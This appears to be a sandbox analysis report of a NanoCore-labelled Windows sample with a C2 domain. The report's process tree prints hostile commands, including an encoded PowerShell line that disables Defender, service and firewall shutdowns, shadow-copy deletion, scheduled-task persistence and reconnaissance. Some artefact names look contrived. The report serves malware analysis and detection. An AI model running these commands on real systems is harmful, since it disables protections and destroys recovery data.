Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    17/10/2026, 14:34

General

  • Target
    gemvietnam.com_chrome.exe
  • Size 57KB
  • Sample261017-rxgfjsfd68
  • SHA256 4dbdd758781328c853627cc466179551e93f182bc8540fe5562fdf0f6e3d1778
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://gemvietnam.com

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://gemvietnam.com

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\gemvietnam.com_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\gemvietnam.com_chrome.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3164
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4684
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:4388
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3444
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:1504
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:5476
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:4640
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:2636
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:6128
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5856
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:204
      • C:\Users\Admin\AppData\Local\Temp\gemvietnam.com_chrome.exe
        "C:\Users\Admin\AppData\Local\Temp\gemvietnam.com_chrome.exe"
        3⤵
          PID:1856
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:4708
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:5576
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:2376
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4984
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:5364
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\gemvietnam.com_chrome.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2652
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\gemvietnam.com_chrome.exe" /sc minute /mo 30 /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:316
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4384
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:4644
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious behavior: EnumeratesProcesses
          PID:2828
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5944
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          3⤵
          • Gathers system information
          PID:3884
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4284
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Discovers running processes
          PID:1876
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1828
        • C:\Windows\system32\whoami.exe
          whoami
          3⤵
            PID:3172
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2716
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2152
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:4208
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2056
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:4580
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5496
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              PID:4592
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\gemvietnam.com_chrome.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4984
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
            • Executes a VBScript file via the Windows Script Host.
            PID:6008
          • C:\Windows\System32\notepad.exe
            "C:\Windows\System32\notepad.exe"
            2⤵
              PID:2136
            • C:\Windows\System32\vssadmin.exe
              "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
              2⤵
              • Interacts with shadow copies
              PID:4788
            • C:\Windows\System32\wbem\WMIC.exe
              "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
              2⤵
              • Reads the TCP/IP host and domain name from the registry
              • Suspicious behavior: EnumeratesProcesses
              PID:5492
            • C:\Windows\System32\net.exe
              "C:\Windows\System32\net.exe" stop srservice
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3404
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop srservice
                3⤵
                  PID:4508
              • C:\Windows\System32\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                2⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:4344
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                2⤵
                • Launches sc.exe
                PID:3656
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" stop i8042prt
                2⤵
                • Launches sc.exe
                PID:5868
            • C:\Windows\system32\vssvc.exe
              C:\Windows\system32\vssvc.exe
              1⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:5328
            • C:\Users\Admin\AppData\Local\Temp\gemvietnam.com_chrome.exe
              C:\Users\Admin\AppData\Local\Temp\gemvietnam.com_chrome.exe
              1⤵
                PID:2640
              • C:\Users\Admin\AppData\Local\Temp\gemvietnam.com_chrome.exe
                C:\Users\Admin\AppData\Local\Temp\gemvietnam.com_chrome.exe
                1⤵
                  PID:4540

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      scr_20261017_153532.jpg

                      • Path C:\ProgramData\SysUpdate\Scr\scr_20261017_153532.jpg
                      • Size 101KB
                      • SHA256 d4f3f9cf76794eb8c1620ffed832db2cb19c0870fb1d4544f77d0bba1035c129
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      doc_2.pdf

                      • Path C:\SystemVolumeInformation\doc_2.pdf
                      • Size 76KB
                      • SHA256 02352a4f90acf7d2fd1826e69f1e73872378b210513d40f9c9c4df86e41f196a
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      __PSScriptPolicyTest_ca4pc1p3.4pz.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ca4pc1p3.4pz.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH

                      createshortcut.vbs

                      • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                      • Size 246B
                      • SHA256 7fee3eb7d017b1d42387de4414613131e74386578a99c81280552089c5135df5
                      • MD5 SHA1 SHA512 TLSH

                      del.bat

                      • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                      • Size 59B
                      • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                      • MD5 SHA1 SHA512 TLSH

                      makelnk.vbs

                      • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                      • Size 247B
                      • SHA256 95f7b249a5039a69fbf9150cf2532aa222dc36ae587562dbc4a46a2d63a3a773
                      • MD5 SHA1 SHA512 TLSH

                      temp_steal.log

                      • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                      • Size 135KB
                      • SHA256 883cca815f8021288287ae9060714b684082f2d133bcbcd2df5fa7f60e1297a5
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      stolen_data_here.txt

                      • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                      • Size 135KB
                      • SHA256 93357928247dce55c65368fc43ca72aec94af7967fa14c0aba12eb19b51b6efe
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      invoice_1.pdf

                      • Path C:\Users\Admin\Documents\invoice_1.pdf
                      • Size 76KB
                      • SHA256 3dd998eabc621dd2e36c85f3d3d399031cbee1c6a2f38f36fd38e2dfccfb5316
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      READ_ME_NANOCORE.txt

                      • Path C:\Users\Admin\READ_ME_NANOCORE.txt
                      • Size 145B
                      • SHA256 7057e5f2042a9706c5d18b7d05214373577eb0293599d361bf66cfba3a3eee4f
                      • MD5 SHA1 SHA512 TLSH

                      RANSOM_NOTE.txt

                      • Path F:\RANSOM_NOTE.txt
                      • Size 177B
                      • SHA256 bfd4ed4bcd78100294aeaee2c2b4b8e37fb372b61cdcaa2a14f50ebe4b708e93
                      • MD5 SHA1 SHA512 TLSH

                      memory/2136-2282-0x000001ABB1800000-0x000001ABB1801000-memory.dmp

                      memory/3164-2291-0x00007FFAA8820000-0x00007FFAA91C4000-memory.dmp

                      memory/3164-10-0x00007FFAA8820000-0x00007FFAA91C4000-memory.dmp

                      memory/3164-2290-0x00007FFAA8820000-0x00007FFAA91C4000-memory.dmp

                      memory/3164-2289-0x00007FFAA8820000-0x00007FFAA91C4000-memory.dmp

                      memory/3164-2293-0x00007FFAA8820000-0x00007FFAA91C4000-memory.dmp

                      memory/3164-8-0x00007FFAA8820000-0x00007FFAA91C4000-memory.dmp

                      memory/3164-4-0x00007FFAA8820000-0x00007FFAA91C4000-memory.dmp

                      memory/3164-3-0x00007FFAA8820000-0x00007FFAA91C4000-memory.dmp

                      memory/3164-1-0x0000000000A60000-0x0000000000A74000-memory.dmp

                      memory/3164-38-0x00007FFAA8820000-0x00007FFAA91C4000-memory.dmp

                      memory/3164-2-0x00007FFAA8820000-0x00007FFAA91C4000-memory.dmp

                      memory/3164-0-0x00007FFAA89AF000-0x00007FFAA89B0000-memory.dmp

                      memory/4684-20-0x00007FFAA8820000-0x00007FFAA91C4000-memory.dmp

                      memory/4684-57-0x00000205BF3E0000-0x00000205BF3FE000-memory.dmp

                      memory/4684-61-0x00000205D7890000-0x00000205D7942000-memory.dmp

                      memory/4684-99-0x00000205BF400000-0x00000205BF40A000-memory.dmp

                      memory/4684-25-0x00007FFAA8820000-0x00007FFAA91C4000-memory.dmp

                      memory/4684-241-0x00007FFAA8820000-0x00007FFAA91C4000-memory.dmp

                      memory/4684-32-0x00007FFAA8820000-0x00007FFAA91C4000-memory.dmp

                      memory/4684-39-0x00007FFAA8820000-0x00007FFAA91C4000-memory.dmp

                      memory/4684-31-0x00007FFAA8820000-0x00007FFAA91C4000-memory.dmp

                      memory/4684-30-0x00007FFAA8820000-0x00007FFAA91C4000-memory.dmp

                      memory/4684-29-0x00007FFAA8820000-0x00007FFAA91C4000-memory.dmp

                      memory/4684-28-0x00007FFAA8820000-0x00007FFAA91C4000-memory.dmp

                      memory/4684-27-0x00007FFAA8820000-0x00007FFAA91C4000-memory.dmp

                      memory/4684-26-0x00007FFAA8820000-0x00007FFAA91C4000-memory.dmp

                      memory/4684-24-0x00007FFAA8820000-0x00007FFAA91C4000-memory.dmp

                      memory/4684-23-0x00007FFAA8820000-0x00007FFAA91C4000-memory.dmp

                      memory/4684-21-0x00007FFAA8820000-0x00007FFAA91C4000-memory.dmp

                      memory/4684-18-0x00007FFAA8820000-0x00007FFAA91C4000-memory.dmp

                      memory/4684-17-0x00007FFAA8820000-0x00007FFAA91C4000-memory.dmp

                      memory/4684-9-0x00000205BF350000-0x00000205BF372000-memory.dmp